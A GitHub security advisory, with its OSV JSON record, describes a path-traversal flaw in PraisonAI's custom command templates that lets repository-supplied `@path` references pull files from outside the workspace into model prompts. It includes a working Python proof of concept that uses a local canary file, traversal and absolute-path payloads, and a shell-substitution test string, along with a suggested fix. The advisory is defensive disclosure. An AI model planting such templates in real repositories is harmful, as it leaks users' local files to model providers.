GHSA-XPX6-X8C2-MW5W
Vulnerability from github – Published: 2026-10-08 17:57 – Updated: 2026-10-08 17:57Project custom command templates can read outside-workspace files into model prompts
Summary
PraisonAI's new file-based custom command feature auto-discovers project commands from .praisonai/commands/*.md. When a user runs praisonai run --command <name> inside a repository, the command body is interpolated before it is sent as the model prompt.
The interpolation code expands @path references by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore include @../outside_secret.txt or an absolute path and cause PraisonAI to copy process-readable files outside the workspace into the prompt.
This is a confidentiality issue in the untrusted-repository workflow: a project can make a normal-looking custom command exfiltrate local files to whichever model/provider receives the generated prompt.
Technical Details
The feature was introduced by commit 88cf0c29 (feat: file-based custom agents and reusable commands with auto-discovery (#2035)) and is present on current main:
current commit: 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab
current describe: v4.6.64-8-g3aa9cbc2
src/praisonai/praisonai/cli/features/custom_definitions.py discovers project-level definitions by walking upward from Path.cwd() to the git root and loading .praisonai/commands/*.md. Project commands override user-global commands.
interpolate_command_template() loads the selected command and passes the command body to the interpolator with Path.cwd() as the working directory:
return interpolator.interpolate(command.template, arguments, Path.cwd())
TemplateInterpolator._interpolate_files() then matches every @([^\s]+) token and reads the referenced file:
if working_dir:
file_path = working_dir / file_path_str
else:
file_path = Path(file_path_str)
if file_path.exists() and file_path.is_file():
with open(file_path, 'r') as f:
return f.read()
There is no resolve() call and no containment check against the project root. In Python, Path.cwd() / "/absolute/path" returns the absolute path, and parent traversal such as ../outside_secret.txt resolves outside the workspace when opened.
The sink is in src/praisonai/praisonai/cli/commands/run.py: the --command path calls interpolate_command_template(), then passes the fully interpolated prompt to _run_prompt().
PoV
A minimal vulnerable repository only needs a project command template and an outside file:
workspace/
.git/
.praisonai/
commands/
relative_escape.md # contains @../outside_secret.txt
absolute_escape.md # contains an absolute path outside workspace
inside.txt
outside_secret.txt
When the operator runs the project command, PraisonAI discovers .praisonai/commands/*.md, interpolates the template with Path.cwd() as the working directory, reads the outside file, and passes the resulting prompt to _run_prompt().
The controls in the PoC below show the expected asymmetry: an in-workspace file expands, a missing file remains literal, shell substitution is escaped, and both parent traversal and absolute outside-file references disclose the outside canary.
PoC
From a fresh PraisonAI checkout, run the following command. The checkout path is passed as the first Python argument, and the script sets up the source import path itself; no hidden PYTHONPATH setup is required.
git clone https://github.com/MervinPraison/PraisonAI.git
cd PraisonAI
git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab
python3 - "$PWD" <<'PY'
from __future__ import annotations
import importlib.util
import json
import os
import subprocess
import sys
import tempfile
import types
from pathlib import Path
CANARY = "PRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace"
def install_yaml_fallback_if_needed() -> str:
if importlib.util.find_spec("yaml") is not None:
return "installed"
yaml_stub = types.ModuleType("yaml")
class YAMLError(Exception):
pass
def safe_load(text: str):
data = {}
for raw_line in text.splitlines():
line = raw_line.strip()
if not line or line.startswith("#") or ":" not in line:
continue
key, value = line.split(":", 1)
data[key.strip()] = value.strip().strip("'\"")
return data
yaml_stub.safe_load = safe_load
yaml_stub.YAMLError = YAMLError
sys.modules["yaml"] = yaml_stub
return "stubbed"
def add_source_to_path(source_root: Path) -> None:
candidate = source_root / "src" / "praisonai"
if (candidate / "praisonai").exists():
sys.path.insert(0, str(candidate))
return
raise SystemExit(f"Could not find PraisonAI sources below {source_root}")
class pushd:
def __init__(self, path: Path):
self.path = path
self.old = Path.cwd()
def __enter__(self):
os.chdir(self.path)
def __exit__(self, *_exc):
os.chdir(self.old)
def write_command(commands_dir: Path, name: str, body: str) -> None:
commands_dir.mkdir(parents=True, exist_ok=True)
(commands_dir / f"{name}.md").write_text(
"---\n"
f"description: {name}\n"
"---\n"
f"{body}\n",
encoding="utf-8",
)
source_root = Path(sys.argv[1]).resolve()
yaml_dependency = install_yaml_fallback_if_needed()
add_source_to_path(source_root)
from praisonai.cli.features.custom_definitions import interpolate_command_template
with tempfile.TemporaryDirectory(prefix="praison-command-pov-") as tmp:
temp_root = Path(tmp).resolve()
workspace = temp_root / "workspace"
workspace.mkdir()
subprocess.run(["git", "init", "-q"], cwd=workspace, check=True)
inside = workspace / "inside.txt"
outside = temp_root / "outside_secret.txt"
inside.write_text("INSIDE_FILE=allowed\n", encoding="utf-8")
outside.write_text(f"{CANARY}\n", encoding="utf-8")
commands_dir = workspace / ".praisonai" / "commands"
write_command(commands_dir, "relative_escape", "Review outside:\n@../outside_secret.txt")
write_command(commands_dir, "absolute_escape", f"Review absolute outside:\n@{outside}")
write_command(commands_dir, "inside_control", "Review inside:\n@inside.txt")
write_command(commands_dir, "missing_control", "Missing stays literal:\n@missing.txt")
write_command(commands_dir, "shell_control", "Shell substitution is escaped:\n$(touch SHOULD_NOT_EXIST)")
with pushd(workspace):
relative_result = interpolate_command_template("relative_escape", "operator argument")
absolute_result = interpolate_command_template("absolute_escape", "operator argument")
inside_result = interpolate_command_template("inside_control", "operator argument")
missing_result = interpolate_command_template("missing_control", "operator argument")
shell_result = interpolate_command_template("shell_control", "operator argument")
result = {
"vulnerable": all(
[
CANARY in (relative_result or ""),
CANARY in (absolute_result or ""),
"INSIDE_FILE=allowed" in (inside_result or ""),
"@missing.txt" in (missing_result or ""),
not (workspace / "SHOULD_NOT_EXIST").exists(),
]
),
"expectations": {
"relative_parent_traversal_discloses_outside_file": CANARY in (relative_result or ""),
"absolute_path_discloses_outside_file": CANARY in (absolute_result or ""),
"inside_control_expands_workspace_file": "INSIDE_FILE=allowed" in (inside_result or ""),
"missing_control_leaves_missing_reference": "@missing.txt" in (missing_result or ""),
"shell_control_does_not_create_file": not (workspace / "SHOULD_NOT_EXIST").exists(),
},
"samples": {
"relative_escape": relative_result,
"absolute_escape": absolute_result,
"inside_control": inside_result,
"missing_control": missing_result,
"shell_control": shell_result,
},
"yaml_dependency": yaml_dependency,
}
print(json.dumps(result, indent=2, sort_keys=True))
raise SystemExit(0 if result["vulnerable"] else 1)
PY
Expected vulnerable output:
{
"expectations": {
"absolute_path_discloses_outside_file": true,
"inside_control_expands_workspace_file": true,
"missing_control_leaves_missing_reference": true,
"relative_parent_traversal_discloses_outside_file": true,
"shell_control_does_not_create_file": true
},
"samples": {
"absolute_escape": "Review absolute outside:\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\n",
"inside_control": "Review inside:\nINSIDE_FILE=allowed\n",
"missing_control": "Missing stays literal:\n@missing.txt",
"relative_escape": "Review outside:\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\n",
"shell_control": "Shell substitution is escaped:\n\\$(touch SHOULD_NOT_EXIST)"
},
"vulnerable": true,
"yaml_dependency": "installed"
}
The PoC does not contact a model provider or any external service. It stops at the interpolation step that praisonai run --command uses before calling _run_prompt().
Impact
An attacker who can supply or modify a repository can add a project command such as .praisonai/commands/review.md containing @../outside_secret.txt or another process-readable path outside the project. If the operator runs that project command, PraisonAI expands the outside file into the prompt. In normal use that prompt may be sent to a hosted model provider, logged, or displayed to a lower-trust caller.
This report claims confidentiality impact only. It does not claim code execution, arbitrary write, credential theft without user interaction, persistence, or network scanning.
Suggested severity: Medium under the local untrusted-repository threat model because the operator must run a project-defined command.
Suggested CVSS 3.1 vector:
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Relevant CWEs:
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Suggested Fix
Resolve command @path references through a single containment helper before opening files:
- Resolve the project root or intended command workspace once.
- For relative references, join to that root and then call
resolve(). - For absolute references, either reject them outright or require
resolved.relative_to(root)to succeed. - Reject escaped files before any
exists(),is_file(), oropen()operation. - Apply the same boundary to project and user command templates.
- Add regression tests for
@../outside.txt,@/absolute/outside.txt, a valid in-workspace file, a missing file, and shell-substitution escaping.
Minimal shape:
def resolve_command_file(root: Path, value: str) -> Path:
root = root.resolve()
candidate = Path(value)
if not candidate.is_absolute():
candidate = root / candidate
resolved = candidate.resolve()
try:
resolved.relative_to(root)
except ValueError as exc:
raise PermissionError(f"command file reference escapes workspace: {value}") from exc
return resolved
Affected Package/Versions
The feature was introduced by commit 88cf0c29. Current release tags now contain that commit, and PyPI currently publishes praisonai through 4.6.71.
introducing commit: 88cf0c29
earliest affected release observed: v4.6.65
latest affected release observed: v4.6.71
latest PyPI version checked: 4.6.71
unaffected sampled tag: v4.6.64
fixed version: none identified yet
Affected package entry:
Ecosystem: pip
Package: praisonai
Vulnerable versions: >= 4.6.65
Patched versions: none yet
Advisory History
No checked PraisonAI private advisory matched .praisonai/commands/*.md, praisonai.cli.features.custom_definitions, or custom command template @path interpolation.
The closest comparator is GHSA-2rcg-mm5h-xchx, arbitrary file read via @file: mention path traversal. This report is distinct because it is triggered by project-level custom command templates discovered from .praisonai/commands/*.md, not by a direct @file: mention path. The vulnerable code path here is TemplateInterpolator._interpolate_files() in custom_definitions.py, introduced by 88cf0c29, and the sink is praisonai run --command.
Other checked PraisonAI advisories cover Platform authorization gaps, AgentMail unsigned webhooks, localhost Host-header auth bypass, ContextGatherer/FastContext path escapes, API deploy YAML-to-Python injection, MCP and recipe policy bypasses, Dynamic Context path traversal, and file-tool path traversal. None covers this custom command template interpolation path.
References
- PraisonAI repository: https://github.com/MervinPraison/PraisonAI
- Introducing commit
88cf0c29: https://github.com/MervinPraison/PraisonAI/commit/88cf0c29 - Current tested commit
3aa9cbc2bd49c23a32be0a89a5e620d13d843eab: https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab - Comparator advisory
GHSA-2rcg-mm5h-xchx: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2rcg-mm5h-xchx - PraisonAI security policy page: https://github.com/MervinPraison/PraisonAI/security/policy
- CWE-22: https://cwe.mitre.org/data/definitions/22.html
- CWE-200: https://cwe.mitre.org/data/definitions/200.html
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.6.77"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.78"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-60088"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T17:57:49Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Project custom command templates can read outside-workspace files into model prompts\n\n## Summary\n\nPraisonAI\u0027s new file-based custom command feature auto-discovers project commands from `.praisonai/commands/*.md`. When a user runs `praisonai run --command \u003cname\u003e` inside a repository, the command body is interpolated before it is sent as the model prompt.\n\nThe interpolation code expands `@path` references by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore include `@../outside_secret.txt` or an absolute path and cause PraisonAI to copy process-readable files outside the workspace into the prompt.\n\nThis is a confidentiality issue in the untrusted-repository workflow: a project can make a normal-looking custom command exfiltrate local files to whichever model/provider receives the generated prompt.\n\n## Technical Details\n\nThe feature was introduced by commit `88cf0c29` (`feat: file-based custom agents and reusable commands with auto-discovery (#2035)`) and is present on current main:\n\n```text\ncurrent commit: 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\ncurrent describe: v4.6.64-8-g3aa9cbc2\n```\n\n`src/praisonai/praisonai/cli/features/custom_definitions.py` discovers project-level definitions by walking upward from `Path.cwd()` to the git root and loading `.praisonai/commands/*.md`. Project commands override user-global commands.\n\n`interpolate_command_template()` loads the selected command and passes the command body to the interpolator with `Path.cwd()` as the working directory:\n\n```python\nreturn interpolator.interpolate(command.template, arguments, Path.cwd())\n```\n\n`TemplateInterpolator._interpolate_files()` then matches every `@([^\\s]+)` token and reads the referenced file:\n\n```python\nif working_dir:\n file_path = working_dir / file_path_str\nelse:\n file_path = Path(file_path_str)\n\nif file_path.exists() and file_path.is_file():\n with open(file_path, \u0027r\u0027) as f:\n return f.read()\n```\n\nThere is no `resolve()` call and no containment check against the project root. In Python, `Path.cwd() / \"/absolute/path\"` returns the absolute path, and parent traversal such as `../outside_secret.txt` resolves outside the workspace when opened.\n\nThe sink is in `src/praisonai/praisonai/cli/commands/run.py`: the `--command` path calls `interpolate_command_template()`, then passes the fully interpolated prompt to `_run_prompt()`.\n\n## PoV\n\nA minimal vulnerable repository only needs a project command template and an outside file:\n\n```text\nworkspace/\n .git/\n .praisonai/\n commands/\n relative_escape.md # contains @../outside_secret.txt\n absolute_escape.md # contains an absolute path outside workspace\n inside.txt\noutside_secret.txt\n```\n\nWhen the operator runs the project command, PraisonAI discovers `.praisonai/commands/*.md`, interpolates the template with `Path.cwd()` as the working directory, reads the outside file, and passes the resulting prompt to `_run_prompt()`.\n\nThe controls in the PoC below show the expected asymmetry: an in-workspace file expands, a missing file remains literal, shell substitution is escaped, and both parent traversal and absolute outside-file references disclose the outside canary.\n\n## PoC\n\nFrom a fresh PraisonAI checkout, run the following command. The checkout path is passed as the first Python argument, and the script sets up the source import path itself; no hidden `PYTHONPATH` setup is required.\n\n```bash\ngit clone https://github.com/MervinPraison/PraisonAI.git\ncd PraisonAI\ngit checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\n\npython3 - \"$PWD\" \u003c\u003c\u0027PY\u0027\nfrom __future__ import annotations\n\nimport importlib.util\nimport json\nimport os\nimport subprocess\nimport sys\nimport tempfile\nimport types\nfrom pathlib import Path\n\n\nCANARY = \"PRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\"\n\n\ndef install_yaml_fallback_if_needed() -\u003e str:\n if importlib.util.find_spec(\"yaml\") is not None:\n return \"installed\"\n\n yaml_stub = types.ModuleType(\"yaml\")\n\n class YAMLError(Exception):\n pass\n\n def safe_load(text: str):\n data = {}\n for raw_line in text.splitlines():\n line = raw_line.strip()\n if not line or line.startswith(\"#\") or \":\" not in line:\n continue\n key, value = line.split(\":\", 1)\n data[key.strip()] = value.strip().strip(\"\u0027\\\"\")\n return data\n\n yaml_stub.safe_load = safe_load\n yaml_stub.YAMLError = YAMLError\n sys.modules[\"yaml\"] = yaml_stub\n return \"stubbed\"\n\n\ndef add_source_to_path(source_root: Path) -\u003e None:\n candidate = source_root / \"src\" / \"praisonai\"\n if (candidate / \"praisonai\").exists():\n sys.path.insert(0, str(candidate))\n return\n raise SystemExit(f\"Could not find PraisonAI sources below {source_root}\")\n\n\nclass pushd:\n def __init__(self, path: Path):\n self.path = path\n self.old = Path.cwd()\n\n def __enter__(self):\n os.chdir(self.path)\n\n def __exit__(self, *_exc):\n os.chdir(self.old)\n\n\ndef write_command(commands_dir: Path, name: str, body: str) -\u003e None:\n commands_dir.mkdir(parents=True, exist_ok=True)\n (commands_dir / f\"{name}.md\").write_text(\n \"---\\n\"\n f\"description: {name}\\n\"\n \"---\\n\"\n f\"{body}\\n\",\n encoding=\"utf-8\",\n )\n\n\nsource_root = Path(sys.argv[1]).resolve()\nyaml_dependency = install_yaml_fallback_if_needed()\nadd_source_to_path(source_root)\n\nfrom praisonai.cli.features.custom_definitions import interpolate_command_template\n\nwith tempfile.TemporaryDirectory(prefix=\"praison-command-pov-\") as tmp:\n temp_root = Path(tmp).resolve()\n workspace = temp_root / \"workspace\"\n workspace.mkdir()\n subprocess.run([\"git\", \"init\", \"-q\"], cwd=workspace, check=True)\n\n inside = workspace / \"inside.txt\"\n outside = temp_root / \"outside_secret.txt\"\n inside.write_text(\"INSIDE_FILE=allowed\\n\", encoding=\"utf-8\")\n outside.write_text(f\"{CANARY}\\n\", encoding=\"utf-8\")\n\n commands_dir = workspace / \".praisonai\" / \"commands\"\n write_command(commands_dir, \"relative_escape\", \"Review outside:\\n@../outside_secret.txt\")\n write_command(commands_dir, \"absolute_escape\", f\"Review absolute outside:\\n@{outside}\")\n write_command(commands_dir, \"inside_control\", \"Review inside:\\n@inside.txt\")\n write_command(commands_dir, \"missing_control\", \"Missing stays literal:\\n@missing.txt\")\n write_command(commands_dir, \"shell_control\", \"Shell substitution is escaped:\\n$(touch SHOULD_NOT_EXIST)\")\n\n with pushd(workspace):\n relative_result = interpolate_command_template(\"relative_escape\", \"operator argument\")\n absolute_result = interpolate_command_template(\"absolute_escape\", \"operator argument\")\n inside_result = interpolate_command_template(\"inside_control\", \"operator argument\")\n missing_result = interpolate_command_template(\"missing_control\", \"operator argument\")\n shell_result = interpolate_command_template(\"shell_control\", \"operator argument\")\n\n result = {\n \"vulnerable\": all(\n [\n CANARY in (relative_result or \"\"),\n CANARY in (absolute_result or \"\"),\n \"INSIDE_FILE=allowed\" in (inside_result or \"\"),\n \"@missing.txt\" in (missing_result or \"\"),\n not (workspace / \"SHOULD_NOT_EXIST\").exists(),\n ]\n ),\n \"expectations\": {\n \"relative_parent_traversal_discloses_outside_file\": CANARY in (relative_result or \"\"),\n \"absolute_path_discloses_outside_file\": CANARY in (absolute_result or \"\"),\n \"inside_control_expands_workspace_file\": \"INSIDE_FILE=allowed\" in (inside_result or \"\"),\n \"missing_control_leaves_missing_reference\": \"@missing.txt\" in (missing_result or \"\"),\n \"shell_control_does_not_create_file\": not (workspace / \"SHOULD_NOT_EXIST\").exists(),\n },\n \"samples\": {\n \"relative_escape\": relative_result,\n \"absolute_escape\": absolute_result,\n \"inside_control\": inside_result,\n \"missing_control\": missing_result,\n \"shell_control\": shell_result,\n },\n \"yaml_dependency\": yaml_dependency,\n }\n\nprint(json.dumps(result, indent=2, sort_keys=True))\nraise SystemExit(0 if result[\"vulnerable\"] else 1)\nPY\n```\n\nExpected vulnerable output:\n\n```json\n{\n \"expectations\": {\n \"absolute_path_discloses_outside_file\": true,\n \"inside_control_expands_workspace_file\": true,\n \"missing_control_leaves_missing_reference\": true,\n \"relative_parent_traversal_discloses_outside_file\": true,\n \"shell_control_does_not_create_file\": true\n },\n \"samples\": {\n \"absolute_escape\": \"Review absolute outside:\\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\\n\",\n \"inside_control\": \"Review inside:\\nINSIDE_FILE=allowed\\n\",\n \"missing_control\": \"Missing stays literal:\\n@missing.txt\",\n \"relative_escape\": \"Review outside:\\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\\n\",\n \"shell_control\": \"Shell substitution is escaped:\\n\\\\$(touch SHOULD_NOT_EXIST)\"\n },\n \"vulnerable\": true,\n \"yaml_dependency\": \"installed\"\n}\n```\n\nThe PoC does not contact a model provider or any external service. It stops at the interpolation step that `praisonai run --command` uses before calling `_run_prompt()`.\n\n## Impact\n\nAn attacker who can supply or modify a repository can add a project command such as `.praisonai/commands/review.md` containing `@../outside_secret.txt` or another process-readable path outside the project. If the operator runs that project command, PraisonAI expands the outside file into the prompt. In normal use that prompt may be sent to a hosted model provider, logged, or displayed to a lower-trust caller.\n\nThis report claims confidentiality impact only. It does not claim code execution, arbitrary write, credential theft without user interaction, persistence, or network scanning.\n\nSuggested severity: Medium under the local untrusted-repository threat model because the operator must run a project-defined command.\n\nSuggested CVSS 3.1 vector:\n\n```text\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N\n```\n\nRelevant CWEs:\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\n\n## Suggested Fix\n\nResolve command `@path` references through a single containment helper before opening files:\n\n1. Resolve the project root or intended command workspace once.\n2. For relative references, join to that root and then call `resolve()`.\n3. For absolute references, either reject them outright or require `resolved.relative_to(root)` to succeed.\n4. Reject escaped files before any `exists()`, `is_file()`, or `open()` operation.\n5. Apply the same boundary to project and user command templates.\n6. Add regression tests for `@../outside.txt`, `@/absolute/outside.txt`, a valid in-workspace file, a missing file, and shell-substitution escaping.\n\nMinimal shape:\n\n```python\ndef resolve_command_file(root: Path, value: str) -\u003e Path:\n root = root.resolve()\n candidate = Path(value)\n if not candidate.is_absolute():\n candidate = root / candidate\n resolved = candidate.resolve()\n try:\n resolved.relative_to(root)\n except ValueError as exc:\n raise PermissionError(f\"command file reference escapes workspace: {value}\") from exc\n return resolved\n```\n\n## Affected Package/Versions\n\nThe feature was introduced by commit `88cf0c29`. Current release tags now contain that commit, and PyPI currently publishes `praisonai` through `4.6.71`.\n\n```text\nintroducing commit: 88cf0c29\nearliest affected release observed: v4.6.65\nlatest affected release observed: v4.6.71\nlatest PyPI version checked: 4.6.71\nunaffected sampled tag: v4.6.64\nfixed version: none identified yet\n```\n\nAffected package entry:\n\n```text\nEcosystem: pip\nPackage: praisonai\nVulnerable versions: \u003e= 4.6.65\nPatched versions: none yet\n```\n\n## Advisory History\n\nNo checked PraisonAI private advisory matched `.praisonai/commands/*.md`, `praisonai.cli.features.custom_definitions`, or custom command template `@path` interpolation.\n\nThe closest comparator is `GHSA-2rcg-mm5h-xchx`, arbitrary file read via `@file:` mention path traversal. This report is distinct because it is triggered by project-level custom command templates discovered from `.praisonai/commands/*.md`, not by a direct `@file:` mention path. The vulnerable code path here is `TemplateInterpolator._interpolate_files()` in `custom_definitions.py`, introduced by `88cf0c29`, and the sink is `praisonai run --command`.\n\nOther checked PraisonAI advisories cover Platform authorization gaps, AgentMail unsigned webhooks, localhost Host-header auth bypass, ContextGatherer/FastContext path escapes, API deploy YAML-to-Python injection, MCP and recipe policy bypasses, Dynamic Context path traversal, and file-tool path traversal. None covers this custom command template interpolation path.\n\n## References\n\n- PraisonAI repository: https://github.com/MervinPraison/PraisonAI\n- Introducing commit `88cf0c29`: https://github.com/MervinPraison/PraisonAI/commit/88cf0c29\n- Current tested commit `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`: https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\n- Comparator advisory `GHSA-2rcg-mm5h-xchx`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2rcg-mm5h-xchx\n- PraisonAI security policy page: https://github.com/MervinPraison/PraisonAI/security/policy\n- CWE-22: https://cwe.mitre.org/data/definitions/22.html\n- CWE-200: https://cwe.mitre.org/data/definitions/200.html",
"id": "GHSA-xpx6-x8c2-mw5w",
"modified": "2026-10-08T17:57:49Z",
"published": "2026-10-08T17:57:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xpx6-x8c2-mw5w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60088"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/praisonai-before-path-traversal-via-custom-commands"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Project custom command templates can read outside-workspace files into model prompts"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.